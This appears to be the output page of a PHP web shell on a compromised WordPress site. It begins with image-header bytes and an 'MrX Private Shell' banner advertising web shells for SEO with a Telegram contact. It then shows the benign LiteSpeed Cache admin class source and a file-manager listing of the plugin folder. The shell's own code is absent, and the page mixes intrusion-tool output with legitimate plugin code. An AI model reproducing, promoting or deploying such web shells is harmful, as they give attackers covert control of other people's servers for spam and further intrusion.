����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* The admin-panel specific functionality of the plugin.
*
* @since 1.0.0
* @package LiteSpeed_Cache
*/
namespace LiteSpeed;
defined( 'WPINC' ) || exit();
/**
* Class Admin
*
* Wires admin-side hooks, actions, and safe redirects.
*/
class Admin extends Root {
const LOG_TAG = '👮';
const PAGE_EDIT_HTACCESS = 'litespeed-edit-htaccess';
/**
* Initialize the class and set its properties.
* Runs in hook `after_setup_theme` when is_admin().
*
* @since 1.0.0
*/
public function __construct() {
// Define LSCWP_MU_PLUGIN if in mu-plugins.
if ( defined( 'WPMU_PLUGIN_DIR' ) && dirname( LSCWP_DIR ) === WPMU_PLUGIN_DIR && ! defined( 'LSCWP_MU_PLUGIN' ) ) {
define( 'LSCWP_MU_PLUGIN', true );
}
self::debug( 'No cache due to Admin page' );
if ( ! defined( 'DONOTCACHEPAGE' ) ) {
define( 'DONOTCACHEPAGE', true );
}
// Additional LiteSpeed assets on admin display (also registers menus).
$this->cls( 'Admin_Display' );
// Initialize admin actions.
add_action( 'admin_init', [ $this, 'admin_init' ] );
// Add link to plugin list page.
add_filter(
'plugin_action_links_' . LSCWP_BASENAME,
[ $this->cls( 'Admin_Display' ), 'add_plugin_links' ]
);
}
/**
* Callback that initializes the admin options for LiteSpeed Cache.
*
* @since 1.0.0
* @return void
*/
public function admin_init() {
// Hook to reset optimization data when image is replaced.
add_filter( 'wp_generate_attachment_metadata', [ $this, 'wp_generate_attachment_metadata' ], 10, 3 );
// Hook attachment upload auto optimization.
if ( $this->conf( Base::O_IMG_OPTM_AUTO ) ) {
add_filter( 'wp_update_attachment_metadata', [ $this, 'wp_update_attachment_metadata' ], 9999, 2 );
}
$this->_proceed_admin_action();
// Terminate if user doesn't have access to settings.
$capability = is_network_admin() ? 'manage_network_options' : 'manage_options';
if ( ! current_user_can( $capability ) ) {
return;
}
// Add privacy policy (since 2.2.6).
if ( function_exists( 'wp_add_privacy_policy_content' ) ) {
wp_add_privacy_policy_content( Core::NAME, Doc::privacy_policy() );
}
$this->cls( 'Media' )->after_admin_init();
do_action( 'litespeed_after_admin_init' );
if ( $this->cls( 'Router' )->esi_enabled() ) {
add_action( 'in_widget_form', [ $this->cls( 'Admin_Display' ), 'show_widget_edit' ], 100, 3 );
add_filter( 'widget_update_callback', __NAMESPACE__ . '\Admin_Settings::validate_widget_save', 10, 4 );
}
}
/**
* Handle attachment metadata generation.
* Reset optimization data if this is a replaced image (has existing optimization records).
*
* @since 7.8
*
* @param array $metadata Attachment metadata.
* @param int $attachment_id Attachment ID.
* @param string $context Context: 'create' or 'update'.
* @return array Filtered metadata.
*/
public function wp_generate_attachment_metadata( $metadata, $attachment_id, $context = 'create' ) {
// Only process on 'create' context (replacement also uses 'create')
if ( 'create' !== $context ) {
return $metadata;
}
$img_optm = $this->cls( 'Img_Optm' );
// Check if has existing optimization records, if so it's a replacement
if ( $img_optm->has_optm_record( $attachment_id, $metadata ) ) {
self::debug( 'Image replaced, resetting optimization data [pid] ' . $attachment_id );
$img_optm->reset_row( $attachment_id, true );
}
return $metadata;
}
/**
* Handle attachment metadata update.
*
* @since 4.0
*
* @param array $data Attachment meta.
* @param int $post_id Attachment ID.
* @return array Filtered meta.
*/
public function wp_update_attachment_metadata( $data, $post_id ) {
$this->cls( 'Img_Optm' )->wp_update_attachment_metadata( $data, $post_id );
return $data;
}
/**
* Run LiteSpeed admin actions routed via Router.
*
* @since 1.1.0
* @return void
*/
private function _proceed_admin_action() {
$action = Router::get_action();
switch ( $action ) {
case Router::ACTION_SAVE_SETTINGS:
$this->cls( 'Admin_Settings' )->save( wp_unslash( $_POST ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
break;
case Router::ACTION_SAVE_SETTINGS_NETWORK:
$this->cls( 'Admin_Settings' )->network_save( wp_unslash( $_POST ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
break;
default:
break;
}
}
/**
* Clean up the input (array or scalar) of any extra slashes/spaces.
*
* @since 1.0.4
*
* @param mixed $input The input value to clean.
* @return mixed Cleaned value.
*/
public static function cleanup_text( $input ) {
if ( is_array( $input ) ) {
return array_map( __CLASS__ . '::cleanup_text', $input );
}
return stripslashes(trim($input));
}
/**
* After a LSCWP_CTRL action, redirect back to same page
* without nonce and action in the query string.
*
* If the redirect URL cannot be determined, redirects to the homepage.
*
* @since 1.0.12
*
* @param string|false $url Optional destination URL.
* @return void
*/
public static function redirect( $url = false ) {
global $pagenow;
// If originated, go back to referrer or home.
if ( ! empty( $_GET['_litespeed_ori'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$ref = wp_get_referer();
wp_safe_redirect( $ref ? $ref : get_home_url() );
exit;
}
if ( ! $url ) {
$clean = [];
// Sanitize current query args while removing our internals.
if ( ! empty( $_GET ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
foreach ( $_GET as $k => $v ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
if ( in_array( $k, [ Router::ACTION, Router::NONCE, Router::TYPE, 'litespeed_i', 'litespeed_tb' ], true ) ) {
continue;
}
// Normalize to string for URL building.
$clean[ $k ] = is_array( $v ) ? array_map( 'sanitize_text_field', wp_unslash( $v ) ) : sanitize_text_field( wp_unslash( $v ) );
}
}
$qs = '';
if ( ! empty( $clean ) ) {
$qs = '?' . http_build_query( $clean );
}
$url = is_network_admin() ? network_admin_url( $pagenow . $qs ) : admin_url( $pagenow . $qs );
}
wp_safe_redirect( $url );
exit;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| cdn | Folder | 0755 |
|
|
| data_structure | Folder | 0755 |
|
|
| activation.cls.php | File | 17.31 KB | 0644 |
|
| admin-display.cls.php | File | 48.47 KB | 0644 |
|
| admin-settings.cls.php | File | 11.12 KB | 0644 |
|
| admin.cls.php | File | 6.13 KB | 0644 |
|
| api.cls.php | File | 10.36 KB | 0644 |
|
| avatar.cls.php | File | 8.65 KB | 0644 |
|
| base.cls.php | File | 37.66 KB | 0644 |
|
| cdn.cls.php | File | 15.92 KB | 0644 |
|
| cloud-auth-callback.trait.php | File | 10.43 KB | 0644 |
|
| cloud-auth-ip.trait.php | File | 4.33 KB | 0644 |
|
| cloud-auth.trait.php | File | 9.38 KB | 0644 |
|
| cloud-misc.trait.php | File | 10.32 KB | 0644 |
|
| cloud-node.trait.php | File | 5.95 KB | 0644 |
|
| cloud-request.trait.php | File | 19.68 KB | 0644 |
|
| cloud.cls.php | File | 7.32 KB | 0644 |
|
| conf.cls.php | File | 19.53 KB | 0644 |
|
| control.cls.php | File | 24.35 KB | 0644 |
|
| core.cls.php | File | 20.97 KB | 0644 |
|
| crawler-map.cls.php | File | 19.41 KB | 0644 |
|
| crawler.cls.php | File | 44.72 KB | 0644 |
|
| css.cls.php | File | 17.77 KB | 0644 |
|
| data.cls.php | File | 22.21 KB | 0644 |
|
| data.upgrade.func.php | File | 5.72 KB | 0644 |
|
| db-optm.cls.php | File | 15.35 KB | 0644 |
|
| debug2.cls.php | File | 18.4 KB | 0644 |
|
| doc.cls.php | File | 5.45 KB | 0644 |
|
| error.cls.php | File | 7.35 KB | 0644 |
|
| esi.cls.php | File | 27.18 KB | 0644 |
|
| file.cls.php | File | 10.57 KB | 0644 |
|
| guest.cls.php | File | 2.75 KB | 0644 |
|
| gui.cls.php | File | 36.57 KB | 0644 |
|
| health.cls.php | File | 2.83 KB | 0644 |
|
| htaccess.cls.php | File | 29.81 KB | 0644 |
|
| img-optm-manage.trait.php | File | 30.85 KB | 0644 |
|
| img-optm-pull.trait.php | File | 22.1 KB | 0644 |
|
| img-optm-send.trait.php | File | 21.9 KB | 0644 |
|
| img-optm.cls.php | File | 5.26 KB | 0644 |
|
| import.cls.php | File | 4.29 KB | 0644 |
|
| import.preset.cls.php | File | 5.5 KB | 0644 |
|
| lang.cls.php | File | 17.02 KB | 0644 |
|
| localization.cls.php | File | 4.03 KB | 0644 |
|
| media.cls.php | File | 44.08 KB | 0644 |
|
| metabox.cls.php | File | 5.29 KB | 0644 |
|
| object-cache-wp.cls.php | File | 18.82 KB | 0644 |
|
| object-cache.cls.php | File | 20.95 KB | 0644 |
|
| object.lib.php | File | 14.16 KB | 0644 |
|
| optimize.cls.php | File | 38.64 KB | 0644 |
|
| optimizer.cls.php | File | 10.5 KB | 0644 |
|
| placeholder.cls.php | File | 17.93 KB | 0644 |
|
| purge.cls.php | File | 34.41 KB | 0644 |
|
| report.cls.php | File | 6.12 KB | 0644 |
|
| rest.cls.php | File | 9.08 KB | 0644 |
|
| root.cls.php | File | 14.29 KB | 0644 |
|
| router.cls.php | File | 20.76 KB | 0644 |
|
| str.cls.php | File | 3.08 KB | 0644 |
|
| tag.cls.php | File | 9.26 KB | 0644 |
|
| task.cls.php | File | 7.05 KB | 0644 |
|
| tool.cls.php | File | 4.17 KB | 0644 |
|
| ucss.cls.php | File | 16.35 KB | 0644 |
|
| utility.cls.php | File | 26.01 KB | 0644 |
|
| vary.cls.php | File | 21.33 KB | 0644 |
|
| vpi.cls.php | File | 9.38 KB | 0644 |
|